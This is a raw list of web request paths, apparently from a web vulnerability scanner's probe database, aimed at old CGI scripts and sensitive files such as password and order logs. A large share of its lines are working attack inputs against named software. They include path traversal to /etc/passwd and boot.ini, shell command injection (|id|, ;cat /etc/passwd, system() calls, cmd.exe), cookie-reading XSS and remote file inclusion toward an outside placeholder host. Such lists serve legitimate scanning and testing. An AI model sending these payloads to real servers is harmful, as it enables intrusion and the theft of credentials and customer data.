/cgi-bin/nph-error.pl
/cgi-bin/nph-maillist.pl
/cgi-bin/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../../../etc/services%00
/cgi-bin/nph-publish
/cgi-bin/nph-test-cgi
/cgi-bin/nph-test-cgi?*
/cgi-bin/ntitar.pl
/cgi-bin/oj.cgi?db=default&uid=%00&userid=hacker&auth=adduser
/cgi-bin/openwebmail/
/cgi-bin/openwebmail/openwebmail.pl
/cgi-bin/ora_errs.log
/cgi-bin/orderlog.txt
/cgi-bin/orders.asp
/cgi-bin/orders.dat
/cgi-bin/orders.htm
/cgi-bin/orders.html
/cgi-bin/orders.txt
/cgi-bin/orders/cc.txt
/cgi-bin/orders/mc.txt
/cgi-bin/orders/orders.txt
/cgi-bin/owa_util.listprint
/cgi-bin/owa_util.show_query_columns
/cgi-bin/owa_util.showsource
/cgi-bin/owa_util.signature
/cgi-bin/pagelog.cgi
/cgi-bin/pals-cgi
/cgi-bin/pass.asp
/cgi-bin/pass.cfg
/cgi-bin/pass.cgi
/cgi-bin/pass.dat
/cgi-bin/pass.data
/cgi-bin/pass.db
/cgi-bin/pass.dbf
/cgi-bin/pass.exe
/cgi-bin/pass.htm
/cgi-bin/pass.html
/cgi-bin/pass.htx
/cgi-bin/pass.ini
/cgi-bin/pass.lst
/cgi-bin/pass.pl
/cgi-bin/pass.txt
/cgi-bin/passwd
/cgi-bin/passwd.txt
/cgi-bin/password
/cgi-bin/password.asp
/cgi-bin/password.cfg
/cgi-bin/password.cgi
/cgi-bin/password.dat
/cgi-bin/password.data
/cgi-bin/password.db
/cgi-bin/password.dbf
/cgi-bin/password.exe
/cgi-bin/password.htm
/cgi-bin/password.html
/cgi-bin/password.htx
/cgi-bin/password.ini
/cgi-bin/password.lst
/cgi-bin/password.pl
/cgi-bin/password.txt
/cgi-bin/passwords.asp
/cgi-bin/passwords.cfg
/cgi-bin/passwords.cgi
/cgi-bin/passwords.dat
/cgi-bin/passwords.data
/cgi-bin/passwords.db
/cgi-bin/passwords.dbf
/cgi-bin/passwords.exe
/cgi-bin/passwords.htm
/cgi-bin/passwords.html
/cgi-bin/passwords.htx
/cgi-bin/passwords.ini
/cgi-bin/passwords.lst
/cgi-bin/passwords.pl
/cgi-bin/passwords.txt
/cgi-bin/pdesk.cgi?lang=../../../../../../../proc/version%00
/cgi-bin/pdg_cart/order.log
/cgi-bin/perl.exe
/cgi-bin/perlshop.cgi
/cgi-bin/pfdisplay.cgi
/cgi-bin/pfdisplay.cgi?../../../../../../etc/passwd
/cgi-bin/pgpmail.pl
/cgi-bin/phf
/cgi-bin/phf.cgi
/cgi-bin/php.cgi
/cgi-bin/phpMyAdmin/
/cgi-bin/phpPgAdmin/
/cgi-bin/phptonuke.php?filnavn=/etc/services
/cgi-bin/pi
/cgi-bin/picview.cgi
/cgi-bin/plusmail
/cgi-bin/pollit/
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi
/cgi-bin/pollit/pollit.cgi
/cgi-bin/post-query
/cgi-bin/post16.exe
/cgi-bin/post32.exe
/cgi-bin/post_bug.cgi
/cgi-bin/post_query
/cgi-bin/postiecgi.exe
/cgi-bin/powerup/
/cgi-bin/powerup/r.cgi?FILE=../../../../../../../../../../../etc/passwd
/cgi-bin/ppdscgi.exe
/cgi-bin/printenv
/cgi-bin/probe.cgi?olddat=
/cgi-bin/probe.cgi?olddat=|id|
/cgi-bin/process_bug.cgi
/cgi-bin/processit.pl
/cgi-bin/products.dbf
/cgi-bin/psinclude.cgi?template=|uname%20-a;uptime|
/cgi-bin/psunami.cgi?action=board&board=1&topic=|ls+-al+/|
/cgi-bin/pu3.pl
/cgi-bin/pubs.dbf
/cgi-bin/query
/cgi-bin/query.inc
/cgi-bin/quikstore.cfg
/cgi-bin/quikstore.cgi
/cgi-bin/quikstore.cgi?category=
/cgi-bin/read_me.html
/cgi-bin/readme
/cgi-bin/readme.htm
/cgi-bin/readme.html
/cgi-bin/readme.txt
/cgi-bin/redir.exe
/cgi-bin/replicator/webpage.cgi/313373/ukr.htm
/cgi-bin/responder.cgi
/cgi-bin/rguest.exe
/cgi-bin/rmp_query
/cgi-bin/robpoll.cgi?Admin
/cgi-bin/root.exe
/cgi-bin/root_readme.txt
/cgi-bin/run.exe
/cgi-bin/rwcgi60
/cgi-bin/rwcgi60.exe
/cgi-bin/rwcgi60.exe/
/cgi-bin/rwcgi60/
/cgi-bin/rwcgi60/showenv
/cgi-bin/rwwwshell.pl
/cgi-bin/rxgoogle.cgi?query=<script>alert(document.cookie);</script>
/cgi-bin/s.cgi
/cgi-bin/samples/
/cgi-bin/samples/asp/viewcode.asp?file=index.asp
/cgi-bin/samples/search/author.idq
/cgi-bin/samples/search/filesize.idq
/cgi-bin/samples/search/query.idq
/cgi-bin/samples/search/queryhit.idq
/cgi-bin/samples/search/simple.idq
/cgi-bin/screamlink.cgi
/cgi-bin/screamtext.cgi
/cgi-bin/scripts/comments.txt
/cgi-bin/scripts/superguestconfig
/cgi-bin/search
/cgi-bin/search.cgi
/cgi-bin/search/
/cgi-bin/search/search.cgi
/cgi-bin/search/show.pl?url=file:/etc/passwd
/cgi-bin/security.dbf
/cgi-bin/sendfile.exe
/cgi-bin/sendform.cgi?to=blah@blah.com
/cgi-bin/sendmail.inc
/cgi-bin/sendtemp.pl
/cgi-bin/server.log
/cgi-bin/servervar.asp
/cgi-bin/servervariables.asp
/cgi-bin/servervars.asp
/cgi-bin/services
/cgi-bin/servlet
/cgi-bin/sewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd
/cgi-bin/sgdynamo.exe?HTNAME=<script>alert('CSS')</script>
/cgi-bin/sgdynamo.exe?sgdynamo.exe?HTNAME=nonexistent
/cgi-bin/sh
/cgi-bin/shell.pl
/cgi-bin/shop.cgi
/cgi-bin/shop.cgi/page=../../../../etc/hosts
/cgi-bin/shop.pl
/cgi-bin/shop.pl/page=;cat%20shop.pl
/cgi-bin/shop.pl/page=shop.cfg
/cgi-bin/shop/auth_data/auth_user_file.txt
/cgi-bin/shop/orders/orders.txt
/cgi-bin/shopadmin.asp
/cgi-bin/shopdbtest.asp
/cgi-bin/shopper.cgi
/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG
/cgi-bin/shopper.cgi?display=action&template=order.log
/cgi-bin/shopper.cgi?keywords=9461&search=action&template=order.log
/cgi-bin/shopper.cgi?keywords=SC7021&search=action&template=order.log
/cgi-bin/shopper.cgi?keywords=cc&search=action&template=order.log
/cgi-bin/shopper.cgi?keywords=order&search=action&template=order.log
/cgi-bin/shopper.cgi?keywords=psiber&search=action&template=order.log
/cgi-bin/shopper.cgi?keywords=usstick&search=action&template=order.log
/cgi-bin/shopper.cgi?search=action&keywords=moron%20&template=shopper.conf
/cgi-bin/shopper.cgi?search=action&keywords=root%20&template=order.log
/cgi-bin/shopper.cgi?search=action&keywords=whinhall&template=order.log
/cgi-bin/shopper.exe
/cgi-bin/shopper.exe?key=8360&preadd=action&template=admin.log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=admin_files.log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=order.log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=sales.log
/cgi-bin/shopper.exe?key=8360&preadd=action&template=sell.log
/cgi-bin/shopper.exe?preadd=action&key=9461&template=order.log
/cgi-bin/shopper.exe?preadd=action&key=bajk390ss&template=order.log
/cgi-bin/shopper.exe?search
/cgi-bin/shopper.exe?search=action&keywords=%20&template=shopper.conf
/cgi-bin/shopper.exe?search=action&keywords=9400&template=order.log
/cgi-bin/shopper.exe?search=action&keywords=CD006&template=sales.log
/cgi-bin/shopper.exe?search=action&keywords=cc&template=admin_files.log
/cgi-bin/shopper.exe?search=action&keywords=hack&template=order.log
/cgi-bin/shopper.exe?search=action&keywords=order&template=admin.log
/cgi-bin/shopper.exe?search=action&keywords=psiber&template=order.log
/cgi-bin/shopper.exe?search=action&keywords=sex&template=sell.log
/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt
/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt;CC
/cgi-bin/shopper?search=action&keywords=dhenzuser%20&template=order.log
/cgi-bin/shopplus.cgi?DN=biomax1.com&cartid=%cartid%&FILE=;id|
/cgi-bin/showstats.cgi
/cgi-bin/simplestmail.cgi
/cgi-bin/site_mgmt.htm
/cgi-bin/site_mgmt.html
/cgi-bin/site_searcher.cgi?page=|id|
/cgi-bin/sitelist.txt
/cgi-bin/sitestat.asp
/cgi-bin/sitestat.cgi
/cgi-bin/sitestat.htm
/cgi-bin/sitestat.html
/cgi-bin/sitestat.php
/cgi-bin/sitestats.asp
/cgi-bin/sitestats.cgi
/cgi-bin/sitestats.htm
/cgi-bin/sitestats.html
/cgi-bin/sitestats.php
/cgi-bin/smartsearch.cgi?keywords=|id|
/cgi-bin/snorkerz.bat
/cgi-bin/snorkerz.cmd
/cgi-bin/sojourn.cgi
/cgi-bin/spin_client.cgi
/cgi-bin/sql.inc
/cgi-bin/sqlconnect.inc
/cgi-bin/sqlnet.log
/cgi-bin/sqlnet.trc
/cgi-bin/ssi/
/cgi-bin/ssi//../../../../../../../../../etc/passwd
/cgi-bin/ssl_error.log
/cgi-bin/ssl_error_log
/cgi-bin/standard.inc
/cgi-bin/start.cgi/<script>alert('CSS')</script>
/cgi-bin/stat.asp
/cgi-bin/stat.cgi
/cgi-bin/stat.htm
/cgi-bin/stat.html
/cgi-bin/stat.php
/cgi-bin/stat/
/cgi-bin/statistics.asp
/cgi-bin/statistics.cgi
/cgi-bin/statistics.htm
/cgi-bin/statistics.html
/cgi-bin/statistics.php
/cgi-bin/stats.asp
/cgi-bin/stats.cgi
/cgi-bin/stats.htm
/cgi-bin/stats.html
/cgi-bin/stats.php
/cgi-bin/stats.pl
/cgi-bin/stats.prf
/cgi-bin/stats.prg
/cgi-bin/stats/
/cgi-bin/statsconfig.pl
/cgi-bin/store.cgi
/cgi-bin/subscribe.pl
/cgi-bin/suche/
/cgi-bin/suche/hsx.cgi?show=../../../../../../../../../../../../etc/passwd%00
/cgi-bin/suche/hsx.cgi?show=..\..\..\..\..\..\..\..\..\..\..\boot.ini%00
/cgi-bin/survey.cgi
/cgi-bin/sws/
/cgi-bin/sws/manager.pl?add&pass=PassWord
/cgi-bin/tabit.cgi
/cgi-bin/tablebuild.pl
/cgi-bin/talkback.cgi
/cgi-bin/telnet.cgi
/cgi-bin/templates/
/cgi-bin/templates/form_header.php?noticemsg=<script>alert()</script>
/cgi-bin/test
/cgi-bin/test-cgi
/cgi-bin/test-cgi.bat?%7Cdir%7Csort
/cgi-bin/test-cgi.bat?|
/cgi-bin/test-cgi.exe
/cgi-bin/test-cgi.tcl
/cgi-bin/test-cgi?/*
/cgi-bin/test-env
/cgi-bin/test-win.exe?<script>alert("CSS")</script>
/cgi-bin/test.asp
/cgi-bin/test.aspx
/cgi-bin/test.bat
/cgi-bin/test.cgi
/cgi-bin/test.dbf
/cgi-bin/test.exe
/cgi-bin/test.htm
/cgi-bin/test.html
/cgi-bin/test.jsp
/cgi-bin/test.php
/cgi-bin/test.pl
/cgi-bin/test.shtml
/cgi-bin/test.txt
/cgi-bin/test.txt?<script>alert(document.cookie)</script>
/cgi-bin/test2.pl?&lt;script&gt;alert('Vulnerable');&lt;/script&gt;
/cgi-bin/testcgi
/cgi-bin/testcgi.exe
/cgi-bin/testcgi.exe?<script>alert(document.cookie);</script>
/cgi-bin/testin
/cgi-bin/testing.asp
/cgi-bin/testing.cgi
/cgi-bin/testing.htm
/cgi-bin/testing.html
/cgi-bin/testing.txt
/cgi-bin/testing_whatever
/cgi-bin/testit.pl
/cgi-bin/textcounter.pl
/cgi-bin/tmp
/cgi-bin/tools/
/cgi-bin/tools/getdrvrs.exe
/cgi-bin/tools/newdsn.exe
/cgi-bin/tpgnrock
/cgi-bin/traceroute.pl?host=|set
/cgi-bin/tst.bat
/cgi-bin/ttt-out?link=testing%20<script>alert(4558)</script>
/cgi-bin/ttt-out?link=testing%20<script>alert(document.cookie)</script>
/cgi-bin/ubb/ubb.cgi?g=
/cgi-bin/ultimate.cgi
/cgi-bin/ultraboard.pl
/cgi-bin/unlg1.1
/cgi-bin/unlg1.2
/cgi-bin/update.htm
/cgi-bin/update.html
/cgi-bin/upgrade.txt
/cgi-bin/upload.asp
/cgi-bin/upload.cgi
/cgi-bin/uploadn.asp
/cgi-bin/uploadx.asp
/cgi-bin/usage.asp
/cgi-bin/usage.cgi
/cgi-bin/usage.htm
/cgi-bin/usage.html
/cgi-bin/usage.php
/cgi-bin/usage/
/cgi-bin/usage_200809.htm
/cgi-bin/usage_200809.html
/cgi-bin/usage_200810.htm
/cgi-bin/usage_200810.html
/cgi-bin/usage_200909.htm
/cgi-bin/usage_200909.html
/cgi-bin/usage_200910.htm
/cgi-bin/usage_200910.html
/cgi-bin/user.asp
/cgi-bin/user.cfg
/cgi-bin/user.cgi
/cgi-bin/user.dat
/cgi-bin/user.data
/cgi-bin/user.db
/cgi-bin/user.dbf
/cgi-bin/user.exe
/cgi-bin/user.htm
/cgi-bin/user.html
/cgi-bin/user.htx
/cgi-bin/user.ini
/cgi-bin/user.lst
/cgi-bin/user.pl
/cgi-bin/user.txt
/cgi-bin/user_adm.html
/cgi-bin/usercp.php?s="><script>alert('XSS')</script>
/cgi-bin/users.asp
/cgi-bin/users.cfg
/cgi-bin/users.cgi
/cgi-bin/users.dat
/cgi-bin/users.data
/cgi-bin/users.db
/cgi-bin/users.dbf
/cgi-bin/users.exe
/cgi-bin/users.htm
/cgi-bin/users.html
/cgi-bin/users.htx
/cgi-bin/users.ini
/cgi-bin/users.lst
/cgi-bin/users.pl
/cgi-bin/users.txt
/cgi-bin/ustorekeeper.pl
/cgi-bin/utils.inc
/cgi-bin/validate.inc
/cgi-bin/variable.cgi
/cgi-bin/viewcode.asp?file=index.asp
/cgi-bin/viewcvs.cgi/?sortby=rev"><script>alert('XSS')</script>
/cgi-bin/visadmin.exe
/cgi-bin/visitor.exe
/cgi-bin/w3-msql/
/cgi-bin/wais.pl
/cgi-bin/wdir.txt
/cgi-bin/wdirs.txt
/cgi-bin/we3.3.3/webevent.pl
/cgi-bin/web_store.cgi?page=.html|cat%20/etc/passwd|
/cgi-bin/web_store.cgi?page=.html|id|
/cgi-bin/webapp/mods/ecart/index.cgi?action=viewart&cat=&art=|id|
/cgi-bin/webauthor.htm
/cgi-bin/webbbs.cgi
/cgi-bin/webbbs.exe
/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20../../webcart/system/orders/orders.txt|&CODE=PHOLD;;;
/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;id|&CODE=PHOLD
/cgi-bin/webdata_test.pl
/cgi-bin/webdist.cgi
/cgi-bin/webdist.cgi?distloc=;/bin/sh%20-c%20set
/cgi-bin/webdriver
/cgi-bin/webhints/hints.cgi
/cgi-bin/webhints/hints.pl
/cgi-bin/weblog
/cgi-bin/webmap.cgi
/cgi-bin/webplus.cgi?Script=/webplus/webping/webping.wml
/cgi-bin/webplus.exe?about
/cgi-bin/webplus.exe?script=%2Fwebpshop%2Fstore.wml&storeid=%27
/cgi-bin/websendmail
/cgi-bin/webshell
/cgi-bin/webspirs.bat
/cgi-bin/webspirs.cgi
/cgi-bin/webspirs.cmd
/cgi-bin/webstats.asp
/cgi-bin/webstats.cgi
/cgi-bin/webstats.html
/cgi-bin/webstats.php
/cgi-bin/webutils.pl
/cgi-bin/webwho.pl
/cgi-bin/wguest.exe
/cgi-bin/wguest.exe?template=c:\boot.ini
/cgi-bin/whois.cgi
/cgi-bin/whois?whois_nic=<script>alert('CSS')</script>&type=domain
/cgi-bin/whois_raw.cgi
/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
/cgi-bin/windmail.exe
/cgi-bin/wops.cgi?path=<script>alert('CSS')</script>
/cgi-bin/wrap
/cgi-bin/ws_ftp.ini
/cgi-bin/wsendmail.exe
/cgi-bin/www-sql/
/cgi-bin/www-sql;;;
/cgi-bin/www_stats/
/cgi-bin/wwwboard.cgi
/cgi-bin/wwwboard.pl
/cgi-bin/wwwstat.asp
/cgi-bin/wwwstat.php3
/cgi-bin/wwwstats.asp
/cgi-bin/wwwstats.cgi
/cgi-bin/wwwstats.htm
/cgi-bin/wwwstats.html
/cgi-bin/wwwstats.php
/cgi-bin/wwwstats.txt
/cgi-bin/wwwstats/
/cgi-bin/xferlog.txt
/cgi-bin2/
/cgi-binS
/cgi-binS%2e%2e/abyss.conf
/cgi-binS../../../../../../../../../../WINNT/system32/ipconfig.exe
/cgi-binS.access
/cgi-binS.cobalt
/cgi-binS.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('Vulnerable')>
/cgi-binS.cobalt/alert/service.cgi?service=<script>alert('Vulnerable')</script>
/cgi-binS.fhp
/cgi-binS.htaccess
/cgi-binS.htaccess.old
/cgi-binS.htaccess.save
/cgi-binS.htaccess~
/cgi-binS.htpasswd
/cgi-binS.nsconfig
/cgi-binS.passwd
/cgi-binS.www_acl
/cgi-binS.wwwacl
/cgi-binS/_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15
/cgi-binS/_vti_pvt/doctodep.btr
/cgi-binS14all-1.1.cgi?cfg=../../../../../../../../etc/passwd
/cgi-binS14all.cgi?cfg=../../../../../../../../etc/passwd
/cgi-binSAT-admin.cgi
/cgi-binSAT-generate.cgi
/cgi-binSAlbum?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0
/cgi-binSAnyBoard.cgi
/cgi-binSAnyForm
/cgi-binSAnyForm2
/cgi-binSBackup/add-passwd.cgi
/cgi-binSCSMailto.cgi
/cgi-binSCSMailto/CSMailto.cgi
/cgi-binSCgitest.exe
/cgi-binSCount.cgi
/cgi-binSDCFORMS98.CGI
/cgi-binSDCShop/auth_data/auth_user_file.txt
/cgi-binSDCShop/orders/orders.txt
/cgi-binSFileSeek.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd
/cgi-binSFileSeek.cgi?head=&foot=;cat%20/etc/passwd
/cgi-binSFileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=
/cgi-binSFileSeek.cgi?head=;cat%20/etc/passwd|&foot=
/cgi-binSFileSeek2.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd
/cgi-binSFileSeek2.cgi?head=&foot=;cat%20/etc/passwd
/cgi-binSFileSeek2.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=
/cgi-binSFileSeek2.cgi?head=;cat%20/etc/passwd|&foot=
/cgi-binSFormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com
/cgi-binSFormMail.cgi?<script>alert(\"Vulnerable\");</script>
/cgi-binSGW5/GWWEB.EXE
/cgi-binSGW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA
/cgi-binSGW5/GWWEB.EXE?HELP=bad-request
/cgi-binSGWWEB.EXE?HELP=bad-request
/cgi-binSImageFolio/admin/admin.cgi
/cgi-binSLWGate
/cgi-binSLWGate.cgi
/cgi-binSMsmMask.exe
/cgi-binSMsmMask.exe?mask=/junk334
/cgi-binSNUL/../../../../../../../../../WINNT/system32/ipconfig.exe
/cgi-binSPRN/../../../../../../../../../WINNT/system32/ipconfig.exe
/cgi-binSPbcgi.exe
/cgi-binSSGB_DIR/superguestconfig
/cgi-binSSQLServ/sqlbrowse.asp?filepath=c:\&Opt=3
/cgi-binSUpload.pl
/cgi-binSVsSetCookie.exe?
/cgi-binSWINDMAIL.EXE?%20-n%20c:\boot.ini%
/cgi-binSWINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\
/cgi-binSWS_FTP.ini
/cgi-binSWebnews.exe
/cgi-binSYaBB.pl?board=news&action=display&num=../../../../../../../../../../etc/passwd%00
/cgi-binSYaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert('Vulnerable')</script>
/cgi-binSa1disp3.cgi?../../../../../../../../../../etc/passwd
/cgi-binSa1stats/a1disp3.cgi?../../../../../../../../../../etc/passwd
/cgi-binSa1stats/a1disp3.cgi?../../../../../../../etc/passwd
/cgi-binSa1stats/a1disp4.cgi?../../../../../../../etc/passwd
/cgi-binSadd_ftp.cgi
/cgi-binSaddbanner.cgi
/cgi-binSadduser.cgi
/cgi-binSadmin.cgi
/cgi-binSadmin.cgi?list=../../../../../../../../../../etc/passwd
/cgi-binSadmin.php
/cgi-binSadmin.php3
/cgi-binSadmin.pl
/cgi-binSadminhot.cgi
/cgi-binSadminwww.cgi
/cgi-binSaf.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
/cgi-binSaglimpse
/cgi-binSaglimpse.cgi
/cgi-binSalibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,
/cgi-binSalienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd
/cgi-binSamadmin.pl
/cgi-binSanacondaclip.pl?template=../../../../../../../../../../etc/passwd
/cgi-binSans.pl?p=../../../../../usr/bin/id|&blah
/cgi-binSans/ans.pl?p=../../../../../usr/bin/id|&blah
/cgi-binSanyboard.cgi
/cgi-binSapexec.pl?etype=odp&template=../../../../../../../../../../etc/passwd%00.html&passurl=/category/
/cgi-binSarchie
/cgi-binSarchitext_query.cgi
/cgi-binSarchitext_query.pl
/cgi-binSash
/cgi-binSastrocam.cgi
/cgi-binSathcgi.exe?command=showpage&script='],[0,0]];alert('Vulnerable');a=[['
/cgi-binSatk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/
/cgi-binSauction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('Vulnerable');</script>&Where=&Sort=Photo&Dir=
/cgi-binSauctiondeluxe/auction.pl
/cgi-binSauktion.cgi?menue=../../../../../../../../../../etc/passwd
/cgi-binSauth_data/auth_user_file.txt
/cgi-binSawl/auctionweaver.pl
/cgi-binSawstats.pl
/cgi-binSawstats/awstats.pl
/cgi-binSax-admin.cgi
/cgi-binSax.cgi
/cgi-binSaxs.cgi
/cgi-binSbadmin.cgi
/cgi-binSbanner.cgi
/cgi-binSbannereditor.cgi
/cgi-binSbash
/cgi-binSbb-ack.sh
/cgi-binSbb-hist.sh?HISTFILE=../../../../../../../../../../etc/passwd
/cgi-binSbb-hist?HISTFILE=../../../../../../../../../../etc/passwd
/cgi-binSbb-histlog.sh
/cgi-binSbb-hostsvc.sh?HOSTSVC=../../../../../../../../../../etc/passwd
/cgi-binSbb-rep.sh
/cgi-binSbb-replog.sh
/cgi-binSbb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
/cgi-binSbbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
/cgi-binSbbs_forum.cgi
/cgi-binSbetsie/parserl.pl/<script>alert('Vulnerable')</script>;
/cgi-binSbigconf.cgi?command=view_textfile&file=/etc/passwd&filters=
/cgi-binSbizdb1-search.cgi
/cgi-binSblog/
/cgi-binSblog/mt-check.cgi
/cgi-binSblog/mt-load.cgi
/cgi-binSblog/mt.cfg
/cgi-binSbnbform
/cgi-binSbnbform.cgi
/cgi-binSbook.cgi?action=default&current=|cat%20/etc/passwd|&form_tid=996604045&prev=main.html&list_message_index=10
/cgi-binSboozt/admin/index.cgi?section=5&input=1
/cgi-binSbsguest.cgi?email=x;ls
/cgi-binSbslist.cgi?email=x;ls
/cgi-binSbuild.cgi
/cgi-binSbulk/bulk.cgi
/cgi-binSc32web.exe/ChangeAdminPassword
/cgi-binSc32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf 
/cgi-binSc_download.cgi
/cgi-binScached_feed.cgi
/cgi-binScachemgr.cgi
/cgi-binScal_make.pl?p0=../../../../../../../../../../etc/passwd%00
/cgi-binScalendar
/cgi-binScalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22
/cgi-binScalendar.pl
/cgi-binScalendar/calendar_admin.pl?config=|cat%20/etc/passwd|
/cgi-binScalendar/index.cgi
/cgi-binScalendar_admin.pl?config=|cat%20/etc/passwd|
/cgi-binScalender_admin.pl
/cgi-binScampas?%0acat%0a/etc/passwd%0a
/cgi-binScart.pl
/cgi-binScart.pl?db='
/cgi-binScart32.exe
/cgi-binScartmanager.cgi
/cgi-binScbmc/forums.cgi
/cgi-binSccbill-local.cgi?cmd=MENU
/cgi-binSccbill-local.pl?cmd=MENU
/cgi-binScfgwiz.exe
/cgi-binScgforum.cgi
/cgi-binScgi-lib.pl
/cgi-binScgicso?query=<script>alert('Vulnerable')</script>
/cgi-binScgicso?query=AAA
/cgi-binScgiforum.pl?thesection=../../../../../../../../../../etc/passwd%00
/cgi-binScgimail.exe
/cgi-binScgitest.exe
/cgi-binScgiwrap
/cgi-binScgiwrap/%3Cfont%20color=red%3E
/cgi-binScgiwrap/~@USERS
/cgi-binScgiwrap/~JUNK(5)
/cgi-binScgiwrap/~root
/cgi-binSchange-your-password.pl
/cgi-binSclassified.cgi
/cgi-binSclassifieds
/cgi-binSclassifieds.cgi
/cgi-binSclassifieds/classifieds.cgi
/cgi-binSclassifieds/index.cgi
/cgi-binSclickcount.pl?view=test
/cgi-binSclickresponder.pl
/cgi-binScmd.exe?/c+dir
/cgi-binScmd1.exe?/c+dir
/cgi-binScode.php
/cgi-binScode.php3
/cgi-binScom5..........................................................................................................................................................................................................................box
/cgi-binScom5.java
/cgi-binScom5.pl
/cgi-binScommandit.cgi
/cgi-binScommerce.cgi?page=../../../../../../../../../../etc/passwd%00index.html
/cgi-binScommon.php?f=0&ForumLang=../../../../../../../../../../etc/passwd
/cgi-binScommon/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|
/cgi-binScompatible.cgi
/cgi-binScount.cgi
/cgi-binScounter-ord
/cgi-binScounterbanner
/cgi-binScounterbanner-ord
/cgi-binScounterfiglet-ord
/cgi-binScounterfiglet/nc/
/cgi-binScsChatRBox.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')
/cgi-binScsGuestBook.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')
/cgi-binScsLiveSupport.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')
/cgi-binScsNews.cgi
/cgi-binScsNewsPro.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')
/cgi-binScsPassword.cgi
/cgi-binScsPassword/csPassword.cgi
/cgi-binScsSearch.cgi?command=savesetup&setup=`cat%20/etc/passwd`
/cgi-binScsh
/cgi-binScstat.pl
/cgi-binScutecast/members/
/cgi-binScvsblame.cgi?file=<script>alert('Vulnerable')</script>
/cgi-binScvslog.cgi?file=*&rev=&root=<script>alert('Vulnerable')</script>
/cgi-binScvslog.cgi?file=<script>alert('Vulnerable')</script>
/cgi-binScvsquery.cgi?branch=<script>alert('Vulnerable')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>
/cgi-binScvsquery.cgi?module=<script>alert('Vulnerable')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week
/cgi-binScvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('Vulnerable')</script>&branch=HEAD
/cgi-binSdansguardian.pl?DENIEDURL=</a><script>alert('Vulnerable');</script>
/cgi-binSdasp/fm_shell.asp
/cgi-binSdata/fetch.php?page=
/cgi-binSdate
/cgi-binSday5datacopier.cgi
/cgi-binSday5datanotifier.cgi
/cgi-binSdb2www/library/document.d2w/show
/cgi-binSdb4web_c/dbdirname//etc/passwd
/cgi-binSdb_manager.cgi
/cgi-binSdbman/db.cgi?db=no-db
/cgi-binSdcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00
/cgi-binSdcshop/auth_data/auth_user_file.txt
/cgi-binSdcshop/orders/orders.txt
/cgi-binSdfire.cgi
/cgi-binSdiagnose.cgi
/cgi-binSdig.cgi
/cgi-binSdirectorypro.cgi?want=showcat&show=../../../../../../../../../../etc/passwd%00
/cgi-binSdisplayTC.pl
/cgi-binSdnewsweb
/cgi-binSdonothing
/cgi-binSdose.pl?daily&somefile.txt&|ls|
/cgi-binSdownload.cgi
/cgi-binSdumpenv.pl
/cgi-binSecho.bat
/cgi-binSecho.bat?&dir+c:\
/cgi-binSedit.pl
/cgi-binSempower?DB=whateverwhatever
/cgi-binSemu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00
/cgi-binSemumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00
/cgi-binSemumail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00
/cgi-binSenter.cgi
/cgi-binSenviron.cgi
/cgi-binSenviron.pl
/cgi-binSenviron.pl?param1=<script>alert(document.cookie)</script>
/cgi-binSerba/start/%3Cscript%3Ealert('Vulnerable');%3C/script%3E
/cgi-binSerrors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/
/cgi-binSeshop.pl/seite=;cat%20eshop.pl|
/cgi-binSex-logger.pl
/cgi-binSexcite
